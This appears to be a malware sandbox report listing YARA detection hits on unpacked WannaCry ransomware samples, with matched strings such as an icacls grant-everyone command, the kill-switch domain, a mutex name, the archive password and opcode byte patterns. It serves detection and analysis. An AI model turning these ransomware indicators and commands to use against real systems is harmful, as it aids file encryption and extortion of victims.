4.0.mssecsvc.exe.7100a4.5.raw.unpack	Win32_Ransomware_WannaCry	unknown	ReversingLabs	0x2016:$main_2: 68 08 02 00 00 33 DB 50 53 FF 15 8C 80 40 00 68 AC F8 40 00 E8 F6 F1 FF FF 59 FF 15 6C 81 40 00 83 38 02 75 53 68 38 F5 40 00 FF 15 68 81 40 00 8B 00 FF 70 04 E8 F0 56 00 00 59 85 C0 59 75 38 ... 0x77ba:$entrypoint_all: 55 8B EC 6A FF 68 88 D4 40 00 68 F4 76 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 68 53 56 57 89 65 E8 33 DB 89 5D FC 6A 02 FF 15 C4 81 40 00 59 83 0D 4C F9 40 00 FF 83 0D 50 F9 40 ...
7.2.mssecsvc.exe.400000.0.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0x415a0:$x1: icacls . /grant Everyone:F /T /C /Q 0x3136c:$x3: tasksche.exe 0x4157c:$x3: tasksche.exe 0x41558:$x4: Global\MsWinZonesCacheCounterMutexA 0x415d0:$x5: WNcry@2ol7 0x313d7:$x6: www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com 0x17350:$x7: mssecsvc.exe 0x31344:$x8: C:\%s\qeriuwjhrf 0x415a0:$x9: icacls . /grant Everyone:F /T /C /Q 0x17338:$s1: C:\%s\%s 0x31358:$s1: C:\%s\%s 0x414d0:$s3: cmd.exe /c "%s" 0x73a24:$s4: msg/m_portuguese.wnry 0x2e68c:$s5: \\192.168.56.20\IPC$ 0x1ba81:$s6: \\172.16.99.5\IPC$ 0x9131:$op1: 10 AC 72 0D 3D FF FF 1F AC 77 06 B8 01 00 00 00 0x3876:$op2: 44 24 64 8A C6 44 24 65 0E C6 44 24 66 80 C6 44 0x13e5:$op3: 18 DF 6C 24 14 DC 64 24 2C DC 6C 24 5C DC 15 88 0x34aa6:$op4: 09 FF 76 30 50 FF 56 2C 59 59 47 3B 7E 0C 7C 0x34780:$op5: C1 EA 1D C1 EE 1E 83 E2 01 83 E6 01 8D 14 56 0x3436c:$op6: 8D 48 FF F7 D1 8D 44 10 FF 23 F1 23 C1
7.2.mssecsvc.exe.400000.0.unpack	WannaCry_Ransomware_Gen	Detects WannaCry Ransomware	Florian Roth (based on rule by US CERT)	0x1bacc:$s1: __TREEID__PLACEHOLDER__ 0x1bb68:$s1: __TREEID__PLACEHOLDER__ 0x1c3d4:$s1: __TREEID__PLACEHOLDER__ 0x1d439:$s1: __TREEID__PLACEHOLDER__ 0x1e4a0:$s1: __TREEID__PLACEHOLDER__ 0x1f508:$s1: __TREEID__PLACEHOLDER__ 0x20570:$s1: __TREEID__PLACEHOLDER__ 0x215d8:$s1: __TREEID__PLACEHOLDER__ 0x22640:$s1: __TREEID__PLACEHOLDER__ 0x236a8:$s1: __TREEID__PLACEHOLDER__ 0x24710:$s1: __TREEID__PLACEHOLDER__ 0x25778:$s1: __TREEID__PLACEHOLDER__ 0x267e0:$s1: __TREEID__PLACEHOLDER__ 0x27848:$s1: __TREEID__PLACEHOLDER__ 0x288b0:$s1: __TREEID__PLACEHOLDER__ 0x29918:$s1: __TREEID__PLACEHOLDER__ 0x2a980:$s1: __TREEID__PLACEHOLDER__ 0x2ab94:$s1: __TREEID__PLACEHOLDER__ 0x2abf4:$s1: __TREEID__PLACEHOLDER__ 0x2e2c4:$s1: __TREEID__PLACEHOLDER__ 0x2e340:$s1: __TREEID__PLACEHOLDER__
7.2.mssecsvc.exe.400000.0.unpack	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
7.2.mssecsvc.exe.400000.0.unpack	wanna_cry_ransomware_generic	detects wannacry ransomware on disk and in virtual page	us-cert code analysis team	0x4157c:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63 0x415a4:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
7.2.mssecsvc.exe.400000.0.unpack	Win32_Ransomware_WannaCry	unknown	ReversingLabs	0x340ba:$main_2: 68 08 02 00 00 33 DB 50 53 FF 15 8C 80 40 00 68 AC F8 40 00 E8 F6 F1 FF FF 59 FF 15 6C 81 40 00 83 38 02 75 53 68 38 F5 40 00 FF 15 68 81 40 00 8B 00 FF 70 04 E8 F0 56 00 00 59 85 C0 59 75 38 ... 0x8090:$start_service_3: 83 EC 10 68 04 01 00 00 68 60 F7 70 00 6A 00 FF 15 6C A0 40 00 FF 15 2C A1 40 00 83 38 02 7D 09 E8 6B FE FF FF 83 C4 10 C3 57 68 3F 00 0F 00 6A 00 6A 00 FF 15 10 A0 40 00 8B F8 85 FF 74 32 53 ... 0x9a16:$entrypoint_all: 55 8B EC 6A FF 68 A0 A1 40 00 68 A2 9B 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 68 53 56 57 89 65 E8 33 DB 89 5D FC 6A 02 FF 15 C0 A0 40 00 59 83 0D 94 F8 70 00 FF 83 0D 98 F8 70 ... 0x3985e:$entrypoint_all: 55 8B EC 6A FF 68 88 D4 40 00 68 F4 76 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 68 53 56 57 89 65 E8 33 DB 89 5D FC 6A 02 FF 15 C4 81 40 00 59 83 0D 4C F9 40 00 FF 83 0D 50 F9 40 ...
6.0.mssecsvc.exe.7100a4.7.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0xf4fc:$x1: icacls . /grant Everyone:F /T /C /Q 0xf4d8:$x3: tasksche.exe 0xf4b4:$x4: Global\MsWinZonesCacheCounterMutexA 0xf52c:$x5: WNcry@2ol7 0xf4fc:$x9: icacls . /grant Everyone:F /T /C /Q 0xf42c:$s3: cmd.exe /c "%s" 0x41980:$s4: msg/m_portuguese.wnry 0x2a02:$op4: 09 FF 76 30 50 FF 56 2C 59 59 47 3B 7E 0C 7C 0x26dc:$op5: C1 EA 1D C1 EE 1E 83 E2 01 83 E6 01 8D 14 56 0x22c8:$op6: 8D 48 FF F7 D1 8D 44 10 FF 23 F1 23 C1
6.0.mssecsvc.exe.7100a4.7.unpack	wanna_cry_ransomware_generic	detects wannacry ransomware on disk and in virtual page	us-cert code analysis team	0xf4d8:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63 0xf500:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
6.0.mssecsvc.exe.7100a4.7.unpack	Win32_Ransomware_WannaCry	unknown	ReversingLabs	0x2016:$main_2: 68 08 02 00 00 33 DB 50 53 FF 15 8C 80 40 00 68 AC F8 40 00 E8 F6 F1 FF FF 59 FF 15 6C 81 40 00 83 38 02 75 53 68 38 F5 40 00 FF 15 68 81 40 00 8B 00 FF 70 04 E8 F0 56 00 00 59 85 C0 59 75 38 ... 0x77ba:$entrypoint_all: 55 8B EC 6A FF 68 88 D4 40 00 68 F4 76 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 68 53 56 57 89 65 E8 33 DB 89 5D FC 6A 02 FF 15 C4 81 40 00 59 83 0D 4C F9 40 00 FF 83 0D 50 F9 40 ...
4.0.mssecsvc.exe.7100a4.1.raw.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0xf4fc:$x1: icacls . /grant Everyone:F /T /C /Q 0xf4d8:$x3: tasksche.exe 0xf4b4:$x4: Global\MsWinZonesCacheCounterMutexA 0xf52c:$x5: WNcry@2ol7 0xf4fc:$x9: icacls . /grant Everyone:F /T /C /Q 0xf42c:$s3: cmd.exe /c "%s" 0x41980:$s4: msg/m_portuguese.wnry 0x2a02:$op4: 09 FF 76 30 50 FF 56 2C 59 59 47 3B 7E 0C 7C 0x26dc:$op5: C1 EA 1D C1 EE 1E 83 E2 01 83 E6 01 8D 14 56 0x22c8:$op6: 8D 48 FF F7 D1 8D 44 10 FF 23 F1 23 C1
4.0.mssecsvc.exe.7100a4.1.raw.unpack	wanna_cry_ransomware_generic	detects wannacry ransomware on disk and in virtual page	us-cert code analysis team	0xf4d8:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63 0xf500:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
4.0.mssecsvc.exe.7100a4.1.raw.unpack	Win32_Ransomware_WannaCry	unknown	ReversingLabs	0x2016:$main_2: 68 08 02 00 00 33 DB 50 53 FF 15 8C 80 40 00 68 AC F8 40 00 E8 F6 F1 FF FF 59 FF 15 6C 81 40 00 83 38 02 75 53 68 38 F5 40 00 FF 15 68 81 40 00 8B 00 FF 70 04 E8 F0 56 00 00 59 85 C0 59 75 38 ... 0x77ba:$entrypoint_all: 55 8B EC 6A FF 68 88 D4 40 00 68 F4 76 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 68 53 56 57 89 65 E8 33 DB 89 5D FC 6A 02 FF 15 C4 81 40 00 59 83 0D 4C F9 40 00 FF 83 0D 50 F9 40 ...
4.2.mssecsvc.exe.7100a4.1.raw.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0xf4fc:$x1: icacls . /grant Everyone:F /T /C /Q 0xf4d8:$x3: tasksche.exe 0xf4b4:$x4: Global\MsWinZonesCacheCounterMutexA 0xf52c:$x5: WNcry@2ol7 0xf4fc:$x9: icacls . /grant Everyone:F /T /C /Q 0xf42c:$s3: cmd.exe /c "%s" 0x41980:$s4: msg/m_portuguese.wnry 0x2a02:$op4: 09 FF 76 30 50 FF 56 2C 59 59 47 3B 7E 0C 7C 0x26dc:$op5: C1 EA 1D C1 EE 1E 83 E2 01 83 E6 01 8D 14 56 0x22c8:$op6: 8D 48 FF F7 D1 8D 44 10 FF 23 F1 23 C1
4.2.mssecsvc.exe.7100a4.1.raw.unpack	wanna_cry_ransomware_generic	detects wannacry ransomware on disk and in virtual page	us-cert code analysis team	0xf4d8:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63 0xf500:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
4.2.mssecsvc.exe.7100a4.1.raw.unpack	Win32_Ransomware_WannaCry	unknown	ReversingLabs	0x2016:$main_2: 68 08 02 00 00 33 DB 50 53 FF 15 8C 80 40 00 68 AC F8 40 00 E8 F6 F1 FF FF 59 FF 15 6C 81 40 00 83 38 02 75 53 68 38 F5 40 00 FF 15 68 81 40 00 8B 00 FF 70 04 E8 F0 56 00 00 59 85 C0 59 75 38 ... 0x77ba:$entrypoint_all: 55 8B EC 6A FF 68 88 D4 40 00 68 F4 76 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 68 53 56 57 89 65 E8 33 DB 89 5D FC 6A 02 FF 15 C4 81 40 00 59 83 0D 4C F9 40 00 FF 83 0D 50 F9 40 ...
7.0.mssecsvc.exe.7100a4.1.raw.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0xf4fc:$x1: icacls . /grant Everyone:F /T /C /Q 0xf4d8:$x3: tasksche.exe 0xf4b4:$x4: Global\MsWinZonesCacheCounterMutexA 0xf52c:$x5: WNcry@2ol7 0xf4fc:$x9: icacls . /grant Everyone:F /T /C /Q 0xf42c:$s3: cmd.exe /c "%s" 0x41980:$s4: msg/m_portuguese.wnry 0x2a02:$op4: 09 FF 76 30 50 FF 56 2C 59 59 47 3B 7E 0C 7C 0x26dc:$op5: C1 EA 1D C1 EE 1E 83 E2 01 83 E6 01 8D 14 56 0x22c8:$op6: 8D 48 FF F7 D1 8D 44 10 FF 23 F1 23 C1
7.0.mssecsvc.exe.7100a4.1.raw.unpack	wanna_cry_ransomware_generic	detects wannacry ransomware on disk and in virtual page	us-cert code analysis team	0xf4d8:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63 0xf500:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
7.0.mssecsvc.exe.7100a4.1.raw.unpack	Win32_Ransomware_WannaCry	unknown	ReversingLabs	0x2016:$main_2: 68 08 02 00 00 33 DB 50 53 FF 15 8C 80 40 00 68 AC F8 40 00 E8 F6 F1 FF FF 59 FF 15 6C 81 40 00 83 38 02 75 53 68 38 F5 40 00 FF 15 68 81 40 00 8B 00 FF 70 04 E8 F0 56 00 00 59 85 C0 59 75 38 ... 0x77ba:$entrypoint_all: 55 8B EC 6A FF 68 88 D4 40 00 68 F4 76 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 68 53 56 57 89 65 E8 33 DB 89 5D FC 6A 02 FF 15 C4 81 40 00 59 83 0D 4C F9 40 00 FF 83 0D 50 F9 40 ...
4.0.mssecsvc.exe.400000.2.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0x415a0:$x1: icacls . /grant Everyone:F /T /C /Q 0x3136c:$x3: tasksche.exe 0x4157c:$x3: tasksche.exe 0x41558:$x4: Global\MsWinZonesCacheCounterMutexA 0x415d0:$x5: WNcry@2ol7 0x313d7:$x6: www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com 0x17350:$x7: mssecsvc.exe 0x31344:$x8: C:\%s\qeriuwjhrf 0x415a0:$x9: icacls . /grant Everyone:F /T /C /Q 0x17338:$s1: C:\%s\%s 0x31358:$s1: C:\%s\%s 0x414d0:$s3: cmd.exe /c "%s" 0x73a24:$s4: msg/m_portuguese.wnry 0x2e68c:$s5: \\192.168.56.20\IPC$ 0x1ba81:$s6: \\172.16.99.5\IPC$ 0x9131:$op1: 10 AC 72 0D 3D FF FF 1F AC 77 06 B8 01 00 00 00 0x3876:$op2: 44 24 64 8A C6 44 24 65 0E C6 44 24 66 80 C6 44 0x13e5:$op3: 18 DF 6C 24 14 DC 64 24 2C DC 6C 24 5C DC 15 88 0x34aa6:$op4: 09 FF 76 30 50 FF 56 2C 59 59 47 3B 7E 0C 7C 0x34780:$op5: C1 EA 1D C1 EE 1E 83 E2 01 83 E6 01 8D 14 56 0x3436c:$op6: 8D 48 FF F7 D1 8D 44 10 FF 23 F1 23 C1
4.0.mssecsvc.exe.400000.2.unpack	WannaCry_Ransomware_Gen	Detects WannaCry Ransomware	Florian Roth (based on rule by US CERT)	0x1bacc:$s1: __TREEID__PLACEHOLDER__ 0x1bb68:$s1: __TREEID__PLACEHOLDER__ 0x1c3d4:$s1: __TREEID__PLACEHOLDER__ 0x1d439:$s1: __TREEID__PLACEHOLDER__ 0x1e4a0:$s1: __TREEID__PLACEHOLDER__ 0x1f508:$s1: __TREEID__PLACEHOLDER__ 0x20570:$s1: __TREEID__PLACEHOLDER__ 0x215d8:$s1: __TREEID__PLACEHOLDER__ 0x22640:$s1: __TREEID__PLACEHOLDER__ 0x236a8:$s1: __TREEID__PLACEHOLDER__ 0x24710:$s1: __TREEID__PLACEHOLDER__ 0x25778:$s1: __TREEID__PLACEHOLDER__ 0x267e0:$s1: __TREEID__PLACEHOLDER__ 0x27848:$s1: __TREEID__PLACEHOLDER__ 0x288b0:$s1: __TREEID__PLACEHOLDER__ 0x29918:$s1: __TREEID__PLACEHOLDER__ 0x2a980:$s1: __TREEID__PLACEHOLDER__ 0x2ab94:$s1: __TREEID__PLACEHOLDER__ 0x2abf4:$s1: __TREEID__PLACEHOLDER__ 0x2e2c4:$s1: __TREEID__PLACEHOLDER__ 0x2e340:$s1: __TREEID__PLACEHOLDER__
4.0.mssecsvc.exe.400000.2.unpack	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
4.0.mssecsvc.exe.400000.2.unpack	wanna_cry_ransomware_generic	detects wannacry ransomware on disk and in virtual page	us-cert code analysis team	0x4157c:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63 0x415a4:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
4.0.mssecsvc.exe.400000.2.unpack	Win32_Ransomware_WannaCry	unknown	ReversingLabs	0x340ba:$main_2: 68 08 02 00 00 33 DB 50 53 FF 15 8C 80 40 00 68 AC F8 40 00 E8 F6 F1 FF FF 59 FF 15 6C 81 40 00 83 38 02 75 53 68 38 F5 40 00 FF 15 68 81 40 00 8B 00 FF 70 04 E8 F0 56 00 00 59 85 C0 59 75 38 ... 0x8090:$start_service_3: 83 EC 10 68 04 01 00 00 68 60 F7 70 00 6A 00 FF 15 6C A0 40 00 FF 15 2C A1 40 00 83 38 02 7D 09 E8 6B FE FF FF 83 C4 10 C3 57 68 3F 00 0F 00 6A 00 6A 00 FF 15 10 A0 40 00 8B F8 85 FF 74 32 53 ... 0x9a16:$entrypoint_all: 55 8B EC 6A FF 68 A0 A1 40 00 68 A2 9B 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 68 53 56 57 89 65 E8 33 DB 89 5D FC 6A 02 FF 15 C0 A0 40 00 59 83 0D 94 F8 70 00 FF 83 0D 98 F8 70 ... 0x3985e:$entrypoint_all: 55 8B EC 6A FF 68 88 D4 40 00 68 F4 76 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 68 53 56 57 89 65 E8 33 DB 89 5D FC 6A 02 FF 15 C4 81 40 00 59 83 0D 4C F9 40 00 FF 83 0D 50 F9 40 ...
4.2.mssecsvc.exe.7100a4.1.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0xf4fc:$x1: icacls . /grant Everyone:F /T /C /Q 0xf4d8:$x3: tasksche.exe 0xf4b4:$x4: Global\MsWinZonesCacheCounterMutexA 0xf52c:$x5: WNcry@2ol7 0xf4fc:$x9: icacls . /grant Everyone:F /T /C /Q 0xf42c:$s3: cmd.exe /c "%s" 0x41980:$s4: msg/m_portuguese.wnry 0x2a02:$op4: 09 FF 76 30 50 FF 56 2C 59 59 47 3B 7E 0C 7C 0x26dc:$op5: C1 EA 1D C1 EE 1E 83 E2 01 83 E6 01 8D 14 56 0x22c8:$op6: 8D 48 FF F7 D1 8D 44 10 FF 23 F1 23 C1
4.2.mssecsvc.exe.7100a4.1.unpack	wanna_cry_ransomware_generic	detects wannacry ransomware on disk and in virtual page	us-cert code analysis team	0xf4d8:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63 0xf500:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
4.2.mssecsvc.exe.7100a4.1.unpack	Win32_Ransomware_WannaCry	unknown	ReversingLabs	0x2016:$main_2: 68 08 02 00 00 33 DB 50 53 FF 15 8C 80 40 00 68 AC F8 40 00 E8 F6 F1 FF FF 59 FF 15 6C 81 40 00 83 38 02 75 53 68 38 F5 40 00 FF 15 68 81 40 00 8B 00 FF 70 04 E8 F0 56 00 00 59 85 C0 59 75 38 ... 0x77ba:$entrypoint_all: 55 8B EC 6A FF 68 88 D4 40 00 68 F4 76 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 68 53 56 57 89 65 E8 33 DB 89 5D FC 6A 02 FF 15 C4 81 40 00 59 83 0D 4C F9 40 00 FF 83 0D 50 F9 40 ...
4.0.mssecsvc.exe.7100a4.1.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0xf4fc:$x1: icacls . /grant Everyone:F /T /C /Q 0xf4d8:$x3: tasksche.exe 0xf4b4:$x4: Global\MsWinZonesCacheCounterMutexA 0xf52c:$x5: WNcry@2ol7 0xf4fc:$x9: icacls . /grant Everyone:F /T /C /Q 0xf42c:$s3: cmd.exe /c "%s" 0x41980:$s4: msg/m_portuguese.wnry 0x2a02:$op4: 09 FF 76 30 50 FF 56 2C 59 59 47 3B 7E 0C 7C 0x26dc:$op5: C1 EA 1D C1 EE 1E 83 E2 01 83 E6 01 8D 14 56 0x22c8:$op6: 8D 48 FF F7 D1 8D 44 10 FF 23 F1 23 C1
4.0.mssecsvc.exe.7100a4.1.unpack	wanna_cry_ransomware_generic	detects wannacry ransomware on disk and in virtual page	us-cert code analysis team	0xf4d8:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63 0xf500:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
4.0.mssecsvc.exe.7100a4.1.unpack	Win32_Ransomware_WannaCry	unknown	ReversingLabs	0x2016:$main_2: 68 08 02 00 00 33 DB 50 53 FF 15 8C 80 40 00 68 AC F8 40 00 E8 F6 F1 FF FF 59 FF 15 6C 81 40 00 83 38 02 75 53 68 38 F5 40 00 FF 15 68 81 40 00 8B 00 FF 70 04 E8 F0 56 00 00 59 85 C0 59 75 38 ... 0x77ba:$entrypoint_all: 55 8B EC 6A FF 68 88 D4 40 00 68 F4 76 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 68 53 56 57 89 65 E8 33 DB 89 5D FC 6A 02 FF 15 C4 81 40 00 59 83 0D 4C F9 40 00 FF 83 0D 50 F9 40 ...
6.0.mssecsvc.exe.7100a4.7.raw.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0xf4fc:$x1: icacls . /grant Everyone:F /T /C /Q 0xf4d8:$x3: tasksche.exe 0xf4b4:$x4: Global\MsWinZonesCacheCounterMutexA 0xf52c:$x5: WNcry@2ol7 0xf4fc:$x9: icacls . /grant Everyone:F /T /C /Q 0xf42c:$s3: cmd.exe /c "%s" 0x41980:$s4: msg/m_portuguese.wnry 0x2a02:$op4: 09 FF 76 30 50 FF 56 2C 59 59 47 3B 7E 0C 7C 0x26dc:$op5: C1 EA 1D C1 EE 1E 83 E2 01 83 E6 01 8D 14 56 0x22c8:$op6: 8D 48 FF F7 D1 8D 44 10 FF 23 F1 23 C1
6.0.mssecsvc.exe.7100a4.7.raw.unpack	wanna_cry_ransomware_generic	detects wannacry ransomware on disk and in virtual page	us-cert code analysis team	0xf4d8:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63 0xf500:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
6.0.mssecsvc.exe.7100a4.7.raw.unpack	Win32_Ransomware_WannaCry	unknown	ReversingLabs	0x2016:$main_2: 68 08 02 00 00 33 DB 50 53 FF 15 8C 80 40 00 68 AC F8 40 00 E8 F6 F1 FF FF 59 FF 15 6C 81 40 00 83 38 02 75 53 68 38 F5 40 00 FF 15 68 81 40 00 8B 00 FF 70 04 E8 F0 56 00 00 59 85 C0 59 75 38 ... 0x77ba:$entrypoint_all: 55 8B EC 6A FF 68 88 D4 40 00 68 F4 76 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 68 53 56 57 89 65 E8 33 DB 89 5D FC 6A 02 FF 15 C4 81 40 00 59 83 0D 4C F9 40 00 FF 83 0D 50 F9 40 ...
4.0.mssecsvc.exe.7100a4.5.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0xf4fc:$x1: icacls . /grant Everyone:F /T /C /Q 0xf4d8:$x3: tasksche.exe 0xf4b4:$x4: Global\MsWinZonesCacheCounterMutexA 0xf52c:$x5: WNcry@2ol7 0xf4fc:$x9: icacls . /grant Everyone:F /T /C /Q 0xf42c:$s3: cmd.exe /c "%s" 0x41980:$s4: msg/m_portuguese.wnry 0x2a02:$op4: 09 FF 76 30 50 FF 56 2C 59 59 47 3B 7E 0C 7C 0x26dc:$op5: C1 EA 1D C1 EE 1E 83 E2 01 83 E6 01 8D 14 56 0x22c8:$op6: 8D 48 FF F7 D1 8D 44 10 FF 23 F1 23 C1
4.0.mssecsvc.exe.7100a4.5.unpack	wanna_cry_ransomware_generic	detects wannacry ransomware on disk and in virtual page	us-cert code analysis team	0xf4d8:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63 0xf500:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
4.0.mssecsvc.exe.7100a4.5.unpack	Win32_Ransomware_WannaCry	unknown	ReversingLabs	0x2016:$main_2: 68 08 02 00 00 33 DB 50 53 FF 15 8C 80 40 00 68 AC F8 40 00 E8 F6 F1 FF FF 59 FF 15 6C 81 40 00 83 38 02 75 53 68 38 F5 40 00 FF 15 68 81 40 00 8B 00 FF 70 04 E8 F0 56 00 00 59 85 C0 59 75 38 ... 0x77ba:$entrypoint_all: 55 8B EC 6A FF 68 88 D4 40 00 68 F4 76 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 68 53 56 57 89 65 E8 33 DB 89 5D FC 6A 02 FF 15 C4 81 40 00 59 83 0D 4C F9 40 00 FF 83 0D 50 F9 40 ...
10.2.tasksche.exe.400000.0.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0xf4fc:$x1: icacls . /grant Everyone:F /T /C /Q 0xf4d8:$x3: tasksche.exe 0xf4b4:$x4: Global\MsWinZonesCacheCounterMutexA 0xf52c:$x5: WNcry@2ol7 0xf4fc:$x9: icacls . /grant Everyone:F /T /C /Q 0xf42c:$s3: cmd.exe /c "%s" 0x41980:$s4: msg/m_portuguese.wnry 0x2a02:$op4: 09 FF 76 30 50 FF 56 2C 59 59 47 3B 7E 0C 7C 0x26dc:$op5: C1 EA 1D C1 EE 1E 83 E2 01 83 E6 01 8D 14 56 0x22c8:$op6: 8D 48 FF F7 D1 8D 44 10 FF 23 F1 23 C1
10.2.tasksche.exe.400000.0.unpack	wanna_cry_ransomware_generic	detects wannacry ransomware on disk and in virtual page	us-cert code analysis team	0xf4d8:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63 0xf500:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
10.2.tasksche.exe.400000.0.unpack	Win32_Ransomware_WannaCry	unknown	ReversingLabs	0x2016:$main_2: 68 08 02 00 00 33 DB 50 53 FF 15 8C 80 40 00 68 AC F8 40 00 E8 F6 F1 FF FF 59 FF 15 6C 81 40 00 83 38 02 75 53 68 38 F5 40 00 FF 15 68 81 40 00 8B 00 FF 70 04 E8 F0 56 00 00 59 85 C0 59 75 38 ... 0x77ba:$entrypoint_all: 55 8B EC 6A FF 68 88 D4 40 00 68 F4 76 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 68 53 56 57 89 65 E8 33 DB 89 5D FC 6A 02 FF 15 C4 81 40 00 59 83 0D 4C F9 40 00 FF 83 0D 50 F9 40 ...
7.2.mssecsvc.exe.7100a4.1.raw.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0xf4fc:$x1: icacls . /grant Everyone:F /T /C /Q 0xf4d8:$x3: tasksche.exe 0xf4b4:$x4: Global\MsWinZonesCacheCounterMutexA 0xf52c:$x5: WNcry@2ol7 0xf4fc:$x9: icacls . /grant Everyone:F /T /C /Q 0xf42c:$s3: cmd.exe /c "%s" 0x41980:$s4: msg/m_portuguese.wnry 0x2a02:$op4: 09 FF 76 30 50 FF 56 2C 59 59 47 3B 7E 0C 7C 0x26dc:$op5: C1 EA 1D C1 EE 1E 83 E2 01 83 E6 01 8D 14 56 0x22c8:$op6: 8D 48 FF F7 D1 8D 44 10 FF 23 F1 23 C1
